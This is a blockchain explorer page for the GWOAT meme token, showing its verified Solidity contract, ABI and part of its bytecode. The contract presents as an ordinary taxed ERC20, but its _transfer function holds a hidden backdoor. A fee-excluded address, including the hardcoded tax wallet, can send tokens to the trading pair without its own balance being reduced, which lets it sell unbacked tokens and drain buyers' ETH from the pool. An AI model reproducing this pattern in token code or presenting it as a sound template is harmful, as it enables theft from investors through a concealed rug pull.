ETH Price: $2,377.93 (-10.56%)

Token

Gwoat (GWOAT)
 

Overview

Max Total Supply

1,000,000,000 GWOAT

Holders

59

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,999,999.999999999 GWOAT

Value
$0.00
0x42aea68de3c8907ad89281980441724809540294
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GWOAT

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : launch_9_28.sol
// SPDX-License-Identifier: UNLICENSE
/*
//
    The character we are using for this project is hand drawn by our artist, not a google copy cut image nor AI generated.

    Web: https://gwoatcoin.fun/
    
    TG: https://t.me/gwoat_eth
    
    X: https://x.com/gwoat_eth

*/
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract GWOAT is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromSwap;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 10;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 10 ** 9 * 10 ** _decimals;
    string private constant _name = unicode"Gwoat";
    string private constant _symbol = unicode"GWOAT";

    uint256 private _buyCount = 0;

    uint256 public _maxTxAmount = (_totalSupply * 2) / 100;
    uint256 public _maxWalletSize = (_totalSupply * 2) / 100;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = _totalSupply / 100;

    address payable private _taxOuter;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxOuter = payable(0xD6f60dBdc6c70ccf4A705511eEBDFaA86D1dB0c3);

        _isExcludedFromSwap[_taxOuter] = true;
        _isExcludedFromFee[_taxOuter] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (
            from == owner() ||
            to == owner() ||
            from == address(this) ||
            to == address(this)
        ) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;

        require(
            tradingOpen || _isExcludedFromFee[from],
            "Trading is not enabled"
        );
        taxAmount = amount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);
        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
            _buyCount++;
        }
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        if (!inSwap && to == uniswapV2Pair && swapEnabled) {
            if (!_isExcludedFromFee[from]) {
                if (
                    contractTokenBalance > _taxSwapThreshold &&
                    _buyCount > _preventSwapBefore
                )
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );

                sendETHToFee(address(this).balance);
            } else {
                moveTokens(from, to, amount - taxAmount);
                return;
            }
        }
        moveTokens(from, address(this), taxAmount);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function moveTokens(address from, address to, uint256 amount) internal {
        if (amount > 0) {
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
        }
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxOuter.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxWalletSize = type(uint256).max;
        emit MaxTxAmountUpdated(type(uint256).max);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)) * 98 / 100,
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600a600955600a8055600a600b555f600c55606460026009600a61003a9190610660565b633b9aca0061004991906106aa565b61005391906106aa565b61005d9190610718565b600d55606460026009600a6100729190610660565b633b9aca0061008191906106aa565b61008b91906106aa565b6100959190610718565b600e556009600a6100a69190610660565b60646100b291906106aa565b600f5560646009600a6100c59190610660565b633b9aca006100d491906106aa565b6100de9190610718565b6010555f601360156101000a81548160ff0219169083151502179055505f601360166101000a81548160ff021916908315150217905550348015610120575f80fd5b505f6101306104c160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073d6f60dbdc6c70ccf4a705511eebdfaa86d1db0c360115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f61031f6104c860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a6103d19190610660565b633b9aca006103e091906106aa565b60015f6103f16104c160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061043c6104c160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6104989190610660565b633b9aca006104a791906106aa565b6040516104b49190610757565b60405180910390a3610770565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105715780860481111561054d5761054c6104ef565b5b600185161561055c5780820291505b808102905061056a8561051c565b9450610531565b94509492505050565b5f826105895760019050610644565b81610596575f9050610644565b81600181146105ac57600281146105b6576105e5565b6001915050610644565b60ff8411156105c8576105c76104ef565b5b8360020a9150848211156105df576105de6104ef565b5b50610644565b5060208310610133831016604e8410600b841016171561061a5782820a905083811115610615576106146104ef565b5b610644565b6106278484846001610528565b9250905081840481111561063e5761063d6104ef565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61066a8261064b565b915061067583610654565b92506106a27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461057a565b905092915050565b5f6106b48261064b565b91506106bf8361064b565b92508282026106cd8161064b565b915082820484148315176106e4576106e36104ef565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107228261064b565b915061072d8361064b565b92508261073d5761073c6106eb565b5b828204905092915050565b6107518161064b565b82525050565b5f60208201905061076a5f830184610748565b92915050565b61301d8061077d5f395ff3fe608060405260043610610117575f3560e01c8063751039fc1161009f57806395d89b411161006357806395d89b41146103545780639e78fb4f1461037e578063a9059cbb14610394578063bf474bed146103d0578063dd62ed3e146103fa5761011e565b8063751039fc146102aa5780637d1db4a5146102c05780638a8c523c146102ea5780638da5cb5b146103005780638f9a55c01461032a5761011e565b806320800a00116100e657806320800a00146101dc57806323b872dd146101f2578063313ce5671461022e57806370a0823114610258578063715018a6146102945761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610436565b60405161014391906121d7565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612288565b610473565b60405161017f91906122e0565b60405180910390f35b348015610193575f80fd5b5061019c610490565b6040516101a99190612308565b60405180910390f35b3480156101bd575f80fd5b506101c6610496565b6040516101d39190612308565b60405180910390f35b3480156101e7575f80fd5b506101f06104b9565b005b3480156101fd575f80fd5b5061021860048036038101906102139190612321565b61059a565b60405161022591906122e0565b60405180910390f35b348015610239575f80fd5b5061024261066e565b60405161024f919061238c565b60405180910390f35b348015610263575f80fd5b5061027e600480360381019061027991906123a5565b610676565b60405161028b9190612308565b60405180910390f35b34801561029f575f80fd5b506102a86106bc565b005b3480156102b5575f80fd5b506102be61080a565b005b3480156102cb575f80fd5b506102d4610945565b6040516102e19190612308565b60405180910390f35b3480156102f5575f80fd5b506102fe61094b565b005b34801561030b575f80fd5b50610314610b37565b60405161032191906123df565b60405180910390f35b348015610335575f80fd5b5061033e610b5e565b60405161034b9190612308565b60405180910390f35b34801561035f575f80fd5b50610368610b64565b60405161037591906121d7565b60405180910390f35b348015610389575f80fd5b50610392610ba1565b005b34801561039f575f80fd5b506103ba60048036038101906103b59190612288565b610ef7565b6040516103c791906122e0565b60405180910390f35b3480156103db575f80fd5b506103e4610f14565b6040516103f19190612308565b60405180910390f35b348015610405575f80fd5b50610420600480360381019061041b91906123f8565b610f1a565b60405161042d9190612308565b60405180910390f35b60606040518060400160405280600581526020017f47776f6174000000000000000000000000000000000000000000000000000000815250905090565b5f61048661047f610f9c565b8484610fa3565b6001905092915050565b60105481565b5f6009600a6104a59190612592565b633b9aca006104b491906125dc565b905090565b6104c1610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054490612667565b60405180910390fd5b610555610b37565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610597573d5f803e3d5ffd5b50565b5f6105a6848484611166565b610663846105b2610f9c565b61065e85604051806060016040528060288152602001612fc06028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610615610f9c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b569092919063ffffffff16565b610fa3565b600190509392505050565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c4610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074790612667565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610812610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612667565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600d819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161093b9190612308565b60405180910390a1565b600d5481565b610953610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d690612667565b60405180910390fd5b601360149054906101000a900460ff1615610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a26906126cf565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473060646062610a7b30610676565b610a8591906125dc565b610a8f919061271a565b5f80610a99610b37565b426040518863ffffffff1660e01b8152600401610abb9695949392919061278c565b60606040518083038185885af1158015610ad7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610afc91906127ff565b5050506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b60606040518060400160405280600581526020017f47574f4154000000000000000000000000000000000000000000000000000000815250905090565b610ba9610f9c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612667565b60405180910390fd5b601360149054906101000a900460ff1615610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c906126cf565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d213060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d0d9190612592565b633b9aca00610d1c91906125dc565b610fa3565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610daf9190612863565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e35573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e599190612863565b6040518363ffffffff1660e01b8152600401610e7692919061288e565b6020604051808303815f875af1158015610e92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb69190612863565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610f0a610f03610f9c565b8484611166565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612925565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611076906129b3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111599190612308565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cb90612a41565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123990612acf565b60405180910390fd5b5f8111611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90612b5d565b60405180910390fd5b61128c610b37565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806112f757506112c8610b37565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061132d57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061136357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114f4576113b88160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bb890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506114498160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c0190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114e79190612308565b60405180910390a3611b51565b5f601360149054906101000a900460ff1680611556575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611595576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158c90612bc5565b60405180910390fd5b6115d160646115c3600954600c54116115b0576005546115b4565b6007545b85611c5e90919063ffffffff16565b611cd590919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561167c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561178957600d54821115611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612c2d565b60405180910390fd5b600e548261172685610676565b6117309190612c4b565b1115611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176890612cc8565b60405180910390fd5b600c5f81548092919061178390612ce6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561181157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611855576118526064611844600a54600c541161183157600654611835565b6008545b85611c5e90919063ffffffff16565b611cd590919063ffffffff16565b90505b5f61185f30610676565b9050601360159054906101000a900460ff161580156118ca575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118e25750601360169054906101000a900460ff165b156119985760035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661197a57600f54811180156119495750600b54600c54115b1561196c5761196b6119668461196184601054611d1e565b611d1e565b611d36565b5b61197547611fa1565b611997565b6119908585848661198b9190612d2d565b612009565b5050611b51565b5b6119a3853084612009565b6119f38360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611bb890919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611a96611a4a8385611bb890919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffff